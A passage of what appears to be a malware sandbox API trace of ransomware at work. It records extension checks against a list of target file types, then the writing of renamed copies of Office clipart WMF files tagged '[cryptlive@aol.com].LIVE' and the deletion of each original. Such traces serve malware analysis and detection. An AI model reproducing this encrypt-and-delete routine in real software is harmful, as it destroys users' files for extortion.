lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString=".zip") returned 4 [0140.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.570] lstrlenW (lpString=".rar") returned 4 [0140.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString=".bz2") returned 4 [0140.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString=".7z") returned 3 [0140.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString=".dbf") returned 4 [0140.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString=".1cd") returned 4 [0140.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString=".jpg") returned 4 [0140.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString=".doc") returned 4 [0140.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString=".docx") returned 5 [0140.571] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0140.571] lstrlenW (lpString=".pdf") returned 4 [0140.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString=".xls") returned 4 [0140.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.571] lstrlenW (lpString=".xlsx") returned 5 [0140.571] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0140.571] lstrlenW (lpString=".ppt") returned 4 [0140.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString=".zip") returned 4 [0140.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.571] lstrlenW (lpString=".rar") returned 4 [0140.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString=".bz2") returned 4 [0140.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString=".7z") returned 3 [0140.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString=".dbf") returned 4 [0140.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString=".1cd") returned 4 [0140.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.571] lstrlenW (lpString=".jpg") returned 4 [0140.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.571] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.572] lstrlenW (lpString="CUP.WMF") returned 7 [0140.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.573] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2966) returned 1 [0140.573] CloseHandle (hObject=0x3a8) returned 1 [0140.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0140.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.573] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.573] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.574] GetLastError () returned 0x0 [0140.574] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xb96, lpOverlapped=0x0) returned 1 [0140.708] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0140.709] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.709] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0140.710] SetEndOfFile (hFile=0x350) returned 1 [0140.710] CloseHandle (hObject=0x350) returned 1 [0140.710] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.710] SetEndOfFile (hFile=0x3a8) returned 1 [0140.712] CloseHandle (hObject=0x3a8) returned 1 [0140.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0140.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".doc") returned 4 [0140.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString=".docx") returned 5 [0140.716] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0140.716] lstrlenW (lpString=".pdf") returned 4 [0140.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString=".xls") returned 4 [0140.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.716] lstrlenW (lpString=".xlsx") returned 5 [0140.716] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0140.716] lstrlenW (lpString=".ppt") returned 4 [0140.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".zip") returned 4 [0140.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.716] lstrlenW (lpString=".rar") returned 4 [0140.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString=".bz2") returned 4 [0140.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString=".7z") returned 3 [0140.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".dbf") returned 4 [0140.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".1cd") returned 4 [0140.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".jpg") returned 4 [0140.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.716] lstrlenW (lpString=".doc") returned 4 [0140.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.716] lstrlenW (lpString=".docx") returned 5 [0140.716] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0140.716] lstrlenW (lpString=".pdf") returned 4 [0140.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString=".xls") returned 4 [0140.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.717] lstrlenW (lpString=".xlsx") returned 5 [0140.717] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0140.717] lstrlenW (lpString=".ppt") returned 4 [0140.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.717] lstrlenW (lpString=".zip") returned 4 [0140.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.717] lstrlenW (lpString=".rar") returned 4 [0140.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString=".bz2") returned 4 [0140.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString=".7z") returned 3 [0140.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.717] lstrlenW (lpString=".dbf") returned 4 [0140.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.717] lstrlenW (lpString=".1cd") returned 4 [0140.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0140.717] lstrlenW (lpString=".jpg") returned 4 [0140.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.717] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.717] lstrlenW (lpString="DD00234_.WMF") returned 12 [0140.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.822] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=29628) returned 1 [0140.822] CloseHandle (hObject=0x3a4) returned 1 [0140.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0140.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.823] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.823] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.824] GetLastError () returned 0x0 [0140.824] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0140.825] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0140.827] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.827] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.827] SetEndOfFile (hFile=0x3ac) returned 1 [0140.827] CloseHandle (hObject=0x3ac) returned 1 [0140.827] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.827] SetEndOfFile (hFile=0x3a4) returned 1 [0140.830] CloseHandle (hObject=0x3a4) returned 1 [0140.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0140.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.834] lstrlenW (lpString=".doc") returned 4 [0140.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.834] lstrlenW (lpString=".docx") returned 5 [0140.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.834] lstrlenW (lpString=".pdf") returned 4 [0140.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.834] lstrlenW (lpString=".xls") returned 4 [0140.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.834] lstrlenW (lpString=".xlsx") returned 5 [0140.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.834] lstrlenW (lpString=".ppt") returned 4 [0140.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.834] lstrlenW (lpString=".zip") returned 4 [0140.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.834] lstrlenW (lpString=".rar") returned 4 [0140.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.834] lstrlenW (lpString=".bz2") returned 4 [0140.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.834] lstrlenW (lpString=".7z") returned 3 [0140.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".dbf") returned 4 [0140.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".1cd") returned 4 [0140.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".jpg") returned 4 [0140.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".doc") returned 4 [0140.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString=".docx") returned 5 [0140.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.835] lstrlenW (lpString=".pdf") returned 4 [0140.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString=".xls") returned 4 [0140.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.835] lstrlenW (lpString=".xlsx") returned 5 [0140.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.835] lstrlenW (lpString=".ppt") returned 4 [0140.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".zip") returned 4 [0140.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.835] lstrlenW (lpString=".rar") returned 4 [0140.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString=".bz2") returned 4 [0140.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString=".7z") returned 3 [0140.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".dbf") returned 4 [0140.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.835] lstrlenW (lpString=".1cd") returned 4 [0140.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0140.836] lstrlenW (lpString=".jpg") returned 4 [0140.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.836] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.836] lstrlenW (lpString="DD00255_.WMF") returned 12 [0140.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.837] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2690) returned 1 [0140.837] CloseHandle (hObject=0x3a4) returned 1 [0140.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0140.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.837] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.837] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.838] GetLastError () returned 0x0 [0140.838] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xa82, lpOverlapped=0x0) returned 1 [0140.839] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0140.840] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.840] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.840] SetEndOfFile (hFile=0x3ac) returned 1 [0140.841] CloseHandle (hObject=0x3ac) returned 1 [0140.841] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.841] SetEndOfFile (hFile=0x3a4) returned 1 [0140.843] CloseHandle (hObject=0x3a4) returned 1 [0140.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0140.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.844] lstrlenW (lpString=".doc") returned 4 [0140.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.844] lstrlenW (lpString=".docx") returned 5 [0140.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.844] lstrlenW (lpString=".pdf") returned 4 [0140.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.844] lstrlenW (lpString=".xls") returned 4 [0140.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.844] lstrlenW (lpString=".xlsx") returned 5 [0140.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.844] lstrlenW (lpString=".ppt") returned 4 [0140.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.844] lstrlenW (lpString=".zip") returned 4 [0140.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.844] lstrlenW (lpString=".rar") returned 4 [0140.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.844] lstrlenW (lpString=".bz2") returned 4 [0140.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.844] lstrlenW (lpString=".7z") returned 3 [0140.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.844] lstrlenW (lpString="C:\\Program Files\\Microsoft 